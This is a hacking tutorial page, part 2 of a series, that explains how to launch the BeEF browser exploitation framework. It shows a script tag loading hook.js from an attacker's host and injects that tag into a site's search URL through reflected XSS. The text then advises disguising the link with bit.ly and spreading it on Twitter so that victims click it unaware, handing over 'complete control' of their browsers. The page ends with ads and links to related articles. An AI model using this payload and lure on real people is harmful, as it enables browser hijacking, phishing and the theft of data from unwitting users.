Exploiting XSS with BeEF: Part 2 « Null Byte :: WonderHowTo

Now that we have our vulnerable server, it's time to start up BeEF.Getting StartedStep 1: Running BeEFIf you have Kali, BeEf comes pre-installed. You can find it in/usr/share/beef-xss/. Once you're there, type./beefto execute the program.You will need to know both of these addresses. The top one is for the browser-grabbing JavaScript file, and the second one is for accessing the web UI.Step 2: Getting into the UIOnce you have run BeEF, you can access the web UI through your browser. Typehttp://your_ip:3000/ui/paneland you will be redirected to the login page.The default credentials arebeeffor both the username and password. After logging in, you will be presented with the start/help screen.ExploitingStep 1: Build the Malicious CodeRemember that line of text from the terminal earlier? That's the location of our malicious JS code. For me, it'shttp://10.0.2.13:3000/hook.js.Since we want this to be run as code, we will implement this with the<script>function of HTML. Your<script>line should look similar to this:<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>Step 2: Making the URLLet's go back to when we searched for something. When we did, we had a part of the URL...?query=lorem+ipsum. This is the part of the URL that tells the website what is being searched. By using XSS, we can take this even further to run pretty much whatever we want. When we build our url, it should look likehttp://victimsite.com/search.asp?query=<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>When the victim visits this website, it automatically "searches" for whatever is put behind thequery=. But because we have a script, it will be run as a script instead of a search.Step 3: Sending to a VictimIn order to "hook" their browser, we need to send them this link. But of course, this might seem suspicious to the average user. But if we were to use a URL shortener likebit.ly, it would be hidden, and more people would click on it on social media.Most websites that allow you to share articles/videos, etc. automatically include abit.lylink in the message. If you were to share thisbit.lylink on Twitter, no one will think of it being malicious.http://bit.ly/1EjY8TqDoesn't that look much better thanhttp://victimsite.com/search.asp?query=<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>? I think so.Step 4: Done!Once someone clicks on that innocent-looking link, you will have complete control over their browser! If you are attacking over WAN, don't forget to port forward.Next Time...In my next article, I will be explaining how to get a persistent connection with BeEF, including how to get a shell on the victim PC.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Hook Web Browsers with MITMf and BeEFExploiting XSS with BeEF:Part 3How To:Hack a remote Internet browser with XSS ShellHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Got Beef? Getting Started with BeEFHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1How To:Hack websites using cross-site scripting (XSS)How To:BeEF+Ettercap:Pwning MarriageHow To:Pull Italian Beef for Italian Beef SandwichExploiting XSS with BeEF:Part 1How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Top 10 Beef-less Burgers in LAHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItHow To:Make Bourbon-Spiked Chili